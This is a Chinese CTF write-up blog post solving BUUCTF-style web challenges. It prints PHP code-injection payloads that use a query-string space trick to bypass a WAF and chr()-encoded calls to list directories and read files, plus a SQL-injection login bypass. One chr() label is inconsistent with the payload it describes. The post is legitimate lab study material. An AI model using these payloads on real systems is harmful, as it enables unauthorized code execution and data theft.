本篇内容:
[HCTF 2018]admin
[RoarCTF 2019]Easy Calc
[极客大挑战 2019]EasySQL
[极客大挑战 2019]Havefun
上一篇 | 目录 | 下一篇
[HCTF 2018]admin
本题难度对我来讲还是挺大的,虽然自己会了,但由于对flask模板注入理解不深刻,讲解不好,直接放一位大佬写的WP:HCTF2018-admin。
[RoarCTF 2019]Easy Calc
访问网址:
查看网页源代码,发现如下内容:
访问calc.php
:
发现给num参数传正常算式可以,但是传字母就不行了,肯定是WAF搞的鬼。
这里利用PHP的字符串解析特性
来绕过WAF。
PHP查询字符串在解析的过程中会将某些字符删除或用下划线代替。对于空白符就是删除。
这里WAF不允许num传入字母,那我们可以在num前加个空格来绕过WAF。例如:
calc.php? num=phpinfo();
发现phpinfo();解析成功,那么就看一下根目录下有什么东西,就要用到scandir(),构造payload:
? num=print_r(scandir('/'));
这里由于单引号被过滤了,那就用chr()绕过,chr(47)就是斜杠/
? num=print_r(scandir(chr(47)));
接着读取flagg文件即可,构造payload:
? num=print_r(file_get_contents('/flagg'));
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
拿到最终flag。
[极客大挑战 2019]EasySQL
访问网址,尝试登录
check.php?username=admin&password=123
显示用户名密码错误。尝试单引号注入发现报错:
check.php?username=admin'&password=123
尝试后发现后加%23
回显就又正常了,%23即#
,这里需编码后使用。
check.php?username=admin'%23&password=123
尝试万能密码 or 1=1,发现就得到了flag。
[极客大挑战 2019]Havefun
直接查看源代码发现:
直接尝试一下 ?cat=dog
发现出来了flag,贼懵逼的就拿到了flag。
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105411604
========================================================